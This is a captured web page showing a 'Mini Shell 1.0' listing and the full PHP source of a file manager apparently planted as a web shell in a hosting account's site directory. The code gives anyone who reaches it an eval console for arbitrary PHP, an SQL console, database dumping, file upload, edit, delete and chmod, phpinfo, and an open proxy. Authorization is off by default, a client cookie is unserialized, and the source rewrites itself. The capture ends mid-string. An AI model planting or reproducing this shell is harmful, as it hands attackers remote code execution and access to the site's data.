HOME


Mini Shell 1.0
DIR: /home/depancom/www/Laval/136698/
Upload File :
Current File : /home/depancom/www/Laval/136698/load
MONOKUROBOO<?php $l0='{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';$h1='{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';$f2='{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';$v3='{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello","Found in files":"Found in files","Search":"Search","Recursive search":"Recursive search","Mask":"Mask"}';$y4=explode(' ',microtime());$y4=$y4[1]+$y4[0];$r5=array('en','ru','de','fr','uk');$u6=empty($_REQUEST['path'])?$u6=realpath('.'):realpath($_REQUEST['path']);$u6=str_replace('\\','/',$u6).'/';$g7=str_replace('\\','/',realpath('./'));$t8=(version_compare(phpversion(),"5.3.0","<"))?true:false;$a9='';$s10='ru';$f11=true;$o12=1.4;$f13=json_decode($l0,true);$f13['authorize']=isset($f13['authorize'])?$f13['authorize']:0;$f13['days_authorization']=(isset($f13['days_authorization'])&&is_numeric($f13['days_authorization']))?(int)$f13['days_authorization']:30;$f13['login']=isset($f13['login'])?$f13['login']:'admin';$f13['password']=isset($f13['password'])?$f13['password']:'phpfm';$f13['cookie_name']=isset($f13['cookie_name'])?$f13['cookie_name']:'fm_user';$f13['script']=isset($f13['script'])?$f13['script']:'';$p14=array('make_directory'=>true,'new_file'=>true,'upload_file'=>true,'show_dir_size'=>false,'show_img'=>true,'show_php_ver'=>true,'show_php_ini'=>false,'show_gt'=>true,'enable_php_console'=>true,'enable_sql_console'=>true,'sql_server'=>'localhost','sql_username'=>'root','sql_password'=>'','sql_db'=>'test_base','enable_proxy'=>true,'show_phpinfo'=>true,'show_xls'=>true,'fm_settings'=>true,'restore_time'=>true,'fm_restore_time'=>false,);if(empty($_COOKIE['fm_config']))$e15=$p14;else $e15=unserialize($_COOKIE['fm_config']);if(isset($_POST['fm_lang'])){setcookie('fm_lang',$_POST['fm_lang'],time()+(86400*$f13['days_authorization']));$_COOKIE['fm_lang']=$_POST['fm_lang'];}$c16=$s10;if($f11&&!empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])&&empty($_COOKIE['fm_lang'])){$f17=explode(',',$_SERVER['HTTP_ACCEPT_LANGUAGE']);if(!empty($f17)){foreach($f17 as $s18){$p19=explode(';',$s18);$p19=$p19[0];if(in_array($p19,$r5)){$c16=$p19;break;}}}}$c16=(empty($_COOKIE['fm_lang']))?$c16:$_COOKIE['fm_lang'];$i20=json_decode($v3,true);if($i20['id']!=$c16){$u21=file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/'.$c16.'.json');if(!empty($u21)){$s22=str_replace("'",'&#39;',json_encode(json_decode($u21),JSON_UNESCAPED_UNICODE));$t23=file_get_contents(__FILE__);$f24=preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',$t23,$y25);if(!empty($y25[1])){$o26=filemtime(__FILE__);$q27=str_replace('{"'.$y25[1].'"}',$s22,$t23);if(file_put_contents(__FILE__,$q27)){$a9.=__('File updated');}else $a9 .= __('Error occurred');if(!empty($e15['fm_restore_time']))touch(__FILE__,$o26);}$i20=json_decode($s22,true);}}function __($x28){global $i20;if(isset($i20[$x28]))return $i20[$x28];else return $x28;};function fm_del_files($n29,$g30=false){if($g30&&@is_dir($n29)){$v31=fm_scan_dir($n29,'','',true);foreach($v31 as $q32){if($q32!='.'&&$q32!='..'){fm_del_files($n29.'/'.$q32,true);}}}if(@is_dir($n29)){return rmdir($n29);}else{return@unlink($n29);}}function fm_rights_string($n29,$h33=false){$x34=fileperms($n29);$l35='';if(!$h33){if(($x34&0xC000)==0xC000){$l35='s';}elseif(($x34&0xA000)==0xA000){$l35='l';}elseif(($x34&0x8000)==0x8000){$l35='-';}elseif(($x34&0x6000)==0x6000){$l35='b';}elseif(($x34&0x4000)==0x4000){$l35='d';}elseif(($x34&0x2000)==0x2000){$l35='c';}elseif(($x34&0x1000)==0x1000){$l35='p';}else{$l35='u';}}$l35.=(($x34&0x0100)?'r':'-');$l35.=(($x34&0x0080)?'w':'-');$l35.=(($x34&0x0040)?(($x34&0x0800)?'s':'x'):(($x34&0x0800)?'S':'-'));$l35.=(($x34&0x0020)?'r':'-');$l35.=(($x34&0x0010)?'w':'-');$l35.=(($x34&0x0008)?(($x34&0x0400)?'s':'x'):(($x34&0x0400)?'S':'-'));$l35.=(($x34&0x0004)?'r':'-');$l35.=(($x34&0x0002)?'w':'-');$l35.=(($x34&0x0001)?(($x34&0x0200)?'t':'x'):(($x34&0x0200)?'T':'-'));return $l35;}function fm_convert_rights($c36){$c36=str_pad($c36,9,'-');$o37=array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');$c36=strtr($c36,$o37);$t38='0';$g39=(int)$c36[0]+(int)$c36[1]+(int)$c36[2];$v40=(int)$c36[3]+(int)$c36[4]+(int)$c36[5];$r41=(int)$c36[6]+(int)$c36[7]+(int)$c36[8];$t38.=$g39.$v40.$r41;return intval($t38,8);}function fm_chmod($n29,$g42,$m43=false){$c44=@chmod(realpath($n29),$g42);if(@is_dir($n29)&&$m43){$v31=fm_scan_dir($n29);foreach($v31 as $q32){$c44=$c44&&fm_chmod($n29.'/'.$q32,$g42,true);}}return $c44;}function fm_download($t45){if(!empty($t45)){if(file_exists($t45)){header("Content-Disposition: attachment; filename=".basename($t45));header("Content-Type: application/force-download");header("Content-Type: application/octet-stream");header("Content-Type: application/download");header("Content-Description: File Transfer");header("Content-Length: ".filesize($t45));flush();$l46=fopen($t45,"r");while(!feof($l46)){echo fread($l46,65536);flush();}fclose($l46);die();}else{header('HTTP/1.0 404 Not Found',true,404);header('Status: 404 Not Found');die();}}}function fm_dir_size($f47,$j48=true){if($j48){$a49=fm_dir_size($f47,false);if($a49<=1024)return $a49.' bytes';elseif($a49<=1024*1024)return round($a49/(1024),2).'&nbsp;Kb';elseif($a49<=1024*1024*1024)return round($a49/(1024*1024),2).'&nbsp;Mb';elseif($a49<=1024*1024*1024*1024)return round($a49/(1024*1024*1024),2).'&nbsp;Gb';elseif($a49<=1024*1024*1024*1024*1024)return round($a49/(1024*1024*1024*1024),2).'&nbsp;Tb';else return round($a49/(1024*1024*1024*1024*1024),2).'&nbsp;Pb';}else{if(is_file($f47))return filesize($f47);$a49=0;$g50=opendir($f47);while(($n29=readdir($g50))!==false){if($n29=='.'||$n29=='..')continue;if(is_file($f47.'/'.$n29))$a49+=filesize($f47.'/'.$n29);else $a49+=fm_dir_size($f47.'/'.$n29,false);}closedir($g50);return $a49+filesize($f47);}}function fm_scan_dir($d51,$d52='',$h53='all',$g54=false){$u55=$a56=array();if(!empty($d52)){$d52='/^'.str_replace('*','(.*)',str_replace('.','\\.',$d52)).'$/';}if(!empty($h53)&&$h53!=='all'){$p57='is_'.$h53;}if(@is_dir($d51)){$j58=opendir($d51);while(false!==($d59=readdir($j58))){if(substr($d59,0,1)!='.'||$g54){if((empty($h53)||$h53=='all'||$p57($d51.'/'.$d59))&&(empty($d52)||preg_match($d52,$d59))){$u55[]=$d59;}}}closedir($j58);natsort($u55);}return $u55;}function fm_link($v60,$m61,$y62,$c63=''){if(empty($c63))$c63=$y62.' '.basename($m61);return '&nbsp;&nbsp;<a href="?'.$v60.'='.base64_encode($m61).'" title="'.$c63.'">'.$y62.'</a>';}function fm_arr_to_option($y64,$r65,$p66=''){foreach($y64 as $x67){$u68=$x67[$r65];$c44.='<option value="'.$u68.'" '.($p66&&$p66==$u68?'selected':'').'>'.$u68.'</option>';}return $c44;}function fm_lang_form($u69='en'){return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($u69=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($u69=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($u69=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($u69=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($u69=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';}function fm_root($f70){return($f70=='.' OR $f70=='..');}function fm_php($a71){$u72=ini_get('display_errors');ini_set('display_errors','1');ob_start();eval(trim($a71));$x28=ob_get_contents();ob_end_clean();ini_set('display_errors',$u72);return $x28;}function fm_sql_connect(){global $e15;return new mysqli($e15['sql_server'],$e15['sql_username'],$e15['sql_password'],$e15['sql_db']);}function fm_sql($p73){global $e15;$p73=trim($p73);ob_start();$o74=fm_sql_connect();if($o74->$n75){ob_end_clean();return $o74->$n75;}$o74->set_charset('utf8');$f76=mysqli_query($o74,$p73);if($f76===false){ob_end_clean();return mysqli_error($o74);}else{if(!empty($f76)){while($h77=mysqli_fetch_assoc($f76)){$k78[]=$h77;}}$v79=empty($k78)?'':var_export($k78,true);ob_end_clean();$o74->close();return '<pre>'.stripslashes($v79).'</pre>';}}function fm_backup_tables($o80='*',$u81=true){global $u6;$q82=fm_sql_connect();$w83="; \n  \n";if($o80=='*'){$o80=array();$b84=$q82->query('SHOW TABLES');while($h77=mysqli_fetch_row($b84)){$o80[]=$h77[0];}}else{$o80=is_array($o80)?$o80:explode(',',$o80);}$x85='';foreach($o80 as $k86){$b84=$q82->query('SELECT * FROM '.$k86);$j87=mysqli_num_fields($b84);$x85.='DROP TABLE IF EXISTS `'.$k86.'`'.$w83;$n88=mysqli_fetch_row($q82->query('SHOW CREATE TABLE '.$k86));$x85.=$n88[1].$w83;if($u81){for($f89=0;$f89<$j87;$f89++){while($h77=mysqli_fetch_row($b84)){$x85.='INSERT INTO `'.$k86.'` VALUES(';for($a90=0;$a90<$j87;$a90++){$h77[$a90]=addslashes($h77[$a90]);$h77[$a90]=str_replace("\n","\\n",$h77[$a90]);if(isset($h77[$a90])){$x85.='"'.$h77[$a90].'"';}else{$x85.='""';}if($a90<($j87-1)){$x85.=',';}}$x85.=')'.$w83;}}}else{$x85=preg_replace("#AUTO_INCREMENT=[\d]+ #is",'',$x85);}$x85.="\n\n\n";}$n29=gmdate("Y-m-d_H-i-s",time()).'.sql';$j91=fopen($n29,'w+');fwrite($j91,$x85);fclose($j91);$e92='onClick="if(confirm(\''.__('File selected').': \n'.$n29.'. \n'.__('Are you sure you want to delete this file?').'\')) document.location.href = \'?delete='.$n29.'&path='.$u6.'\'"';return $n29.': '.fm_link('download',$u6.$n29,__('Download'),__('Download').' '.$n29).' <a href="#" title="'.__('Delete').' '.$n29.'" '.$e92.'>'.__('Delete').'</a>';}function fm_restore_tables($n93){$q82=fm_sql_connect();$w83="; \n  \n";$f47=fopen($n93,"r+");$k94=fread($f47,filesize($n93));$b95=explode($w83,$k94);foreach($b95 as $a96){if(strlen($a96)>3){$b84=$q82->query($a96);if(!$b84){$h97=mysqli_errno($q82->$c98);$y99=mysqli_error($q82->$c98);$v100=$a96;break;}}}if(empty($h97))return __('Success').' — '.$n93;else return $y99.'<br/>'.$a96;}function fm_img_link($d59){return './'.basename(__FILE__).'?img='.base64_encode($d59);}function fm_home_style(){return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';}function fm_config_checkbox_row($y62,$t101){global $e15;return '<tr><td class="row1"><input id="fm_config_'.$t101.'" name="fm_config['.$t101.']" value="1" '.(empty($e15[$t101])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$t101.'">'.$y62.'</td></tr>';}function fm_protocol(){if(isset($_SERVER['HTTP_SCHEME']))return $_SERVER['HTTP_SCHEME'].'://';if(isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']=='on')return 'https://';if(isset($_SERVER['SERVER_PORT'])&&$_SERVER['SERVER_PORT']==443)return 'https://';if(isset($_SERVER['HTTP_X_FORWARDED_PROTO'])&&$_SERVER['HTTP_X_FORWARDED_PROTO']=='https')return 'https://';return 'http://';}function fm_site_url(){return fm_protocol().$_SERVER['HTTP_HOST'];}function fm_url($g102=false){$q103=$g102?fm_site_url():'.';return $q103.'/'.basename(__FILE__);}function fm_home($g102=false){return '&nbsp;<a href="'.fm_url($g102).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';}function fm_run_input($p19){global $e15;$x85=!empty($e15['enable_'.$p19.'_console'])?'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$p19.'run" value="'.strtoupper($p19).' '.__('Console').'">
				</form>
':'';return $x85;}function fm_url_proxy($y25){$m61=str_replace('&amp;','&',$y25[2]);$c104=isset($_GET['url'])?$_GET['url']:'';$u105=parse_url($c104);$q103=$u105['scheme'].'://'.$u105['host'].'/';if(substr($m61,0,2)=='//'){$m61=substr_replace($m61,fm_protocol(),0,2);}elseif(substr($m61,0,1)=='/'){$m61=substr_replace($m61,$q103,0,1);}elseif(substr($m61,0,2)=='./'){$m61=substr_replace($m61,$q103,0,2);}elseif(substr($m61,0,4)=='http'){}else{$m61=$q103.$m61;}if($y25[1]=='href'&&!strripos($m61,'css')){$c106=fm_site_url().'/'.basename(__FILE__);$k107=$c106.'?proxy=true&url=';$m61=$k107.urlencode($m61);}elseif(strripos($m61,'css')){}return $y25[1].'="'.$m61.'"';}function fm_tpl_form($f108){global${$f108.'_templates'};$u109=json_decode(${$f108.'_templates'},true);$x110='';foreach($u109 as $s111=>$j112){$x110.='<tr><td class="row1"><input name="'.$f108.'_name[]" value="'.$s111.'"></td><td class="row2 whole"><textarea name="'.$f108.'_value[]"  cols="55" rows="5" class="textarea_input">'.$j112.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';}return '
<table>
<tr><th colspan="2">'.strtoupper($f108).' '.__('templates').' '.fm_run_input($f108).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$f108.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$x110.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$f108.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$f108.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$f108.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';}if($f13['authorize']){if(isset($_POST['login'])&&isset($_POST['password'])){if(($_POST['login']==$f13['login'])&&($_POST['password']==$f13['password'])){setcookie($f13['cookie_name'],$f13['login'].'|'.md5($f13['password']),time()+(86400*$f13['days_authorization']));$_COOKIE[$f13['cookie_name']]=$f13['login'].'|'.md5($f13['password']);}}if(!isset($_COOKIE[$f13['cookie_name']])OR($_COOKIE[$f13['cookie_name']]!=$f13['login'].'|'.md5($f13['password']))){echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($c16).'
</body>
</html>
';die();}if(isset($_POST['quit'])){unset($_COOKIE[$f13['cookie_name']]);setcookie($f13['cookie_name'],'',time()-(86400*$f13['days_authorization']));header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);}}if(isset($_GET['fm_settings'])){if(isset($_GET['fm_config_delete'])){unset($_COOKIE['fm_config']);setcookie('fm_config','',time()-(86400*$f13['days_authorization']));header('Location: '.fm_url().'?fm_settings=true');exit(0);}elseif(isset($_POST['fm_config'])){$e15=$_POST['fm_config'];setcookie('fm_config',serialize($e15),time()+(86400*$f13['days_authorization']));$_COOKIE['fm_config']=serialize($e15);$a9=__('Settings').' '.__('done');}elseif(isset($_POST['fm_login'])){if(empty($_POST['fm_login']['authorize']))$_POST['fm_login']=array('authorize'=>'0')+$_POST['fm_login'];$o113=json_encode($_POST['fm_login']);$t23=file_get_contents(__FILE__);$f24=preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',$t23,$y25);if(!empty($y25[1])){$o26=filemtime(__FILE__);$q27=str_replace('{"'.$y25[1].'"}',$o113,$t23);if(file_put_contents(__FILE__,$q27)){$a9.=__('File updated');if($_POST['fm_login']['login']!=$f13['login'])$a9.=' '.__('Login').': '.$_POST['fm_login']['login'];if($_POST['fm_login']['password']!=$f13['password'])$a9.=' '.__('Password').': '.$_POST['fm_login']['password'];$f13=$_POST['fm_login'];}else $a9 .= __('Error occurred');if(!empty($e15['fm_restore_time']))touch(__FILE__,$o26);}}elseif(isset($_POST['tpl_edited'])){$f108=$_POST['tpl_edited'];if(!empty($_POST[$f108.'_name'])){$p114=json_encode(array_combine($_POST[$f108.'_name'],$_POST[$f108.'_value']),JSON_HEX_APOS);}elseif(!empty($_POST[$f108.'_new_name'])){$p114=json_encode(json_decode(${$f108.'_templates'},true)+array($_POST[$f108.'_new_name']=>$_POST[$f108.'_new_value']),JSON_HEX_APOS);}if(!empty($p114)){$t23=file_get_contents(__FILE__);$f24=preg_match('#'.$f108.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',$t23,$y25);if(!empty($y25[1])){$o26=filemtime(__FILE__);$q27=str_replace('{"'.$y25[1].'"}',$p114,$t23);if(file_put_contents(__FILE__,$q27)){${$f108.'_templates'}=$p114;$a9.=__('File updated');}else $a9 .= __('Error occurred');if(!empty($e15['fm_restore_time']))touch(__FILE__,$o26);}}else $a9 .= __('Error occurred');}}if(isset($_GET['img'])){$n29=base64_decode($_GET['img']);if($l35=getimagesize($n29)){switch($l35[2]){case 1:$o115='gif';break;case 2:$o115='jpeg';break;case 3:$o115='png';break;case 6:$o115='bmp';break;default:die();}header("Content-type: image/$o115");echo file_get_contents($n29);die();}}if(isset($_GET['download'])){$n29=base64_decode($_GET['download']);fm_download($n29);}if(isset($_GET['phpinfo'])){phpinfo();die();}if(isset($_GET['proxy'])&&(!empty($e15['enable_proxy']))){$c104=isset($_GET['url'])?urldecode($_GET['url']):'';$b116='
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$c104.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$c104.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';if($c104){$c117=curl_init($c104);curl_setopt($c117,CURLOPT_USERAGENT,'Den1xxx test proxy');curl_setopt($c117,CURLOPT_FOLLOWLOCATION,1);curl_setopt($c117,CURLOPT_SSL_VERIFYHOST,0);curl_setopt($c117,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($c117,CURLOPT_HEADER,0);curl_setopt($c117,CURLOPT_REFERER,$c104);curl_setopt($c117,CURLOPT_RETURNTRANSFER,true);$b84=curl_exec($c117);curl_close($c117);$b84=preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui','fm_url_proxy',$b84);$b84=preg_replace('%(<body.*?>)%i','$1'.'<style>'.fm_home_style().'</style>'.$b116,$b84);echo $b84;die();}}?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAa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/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAIC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AAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWA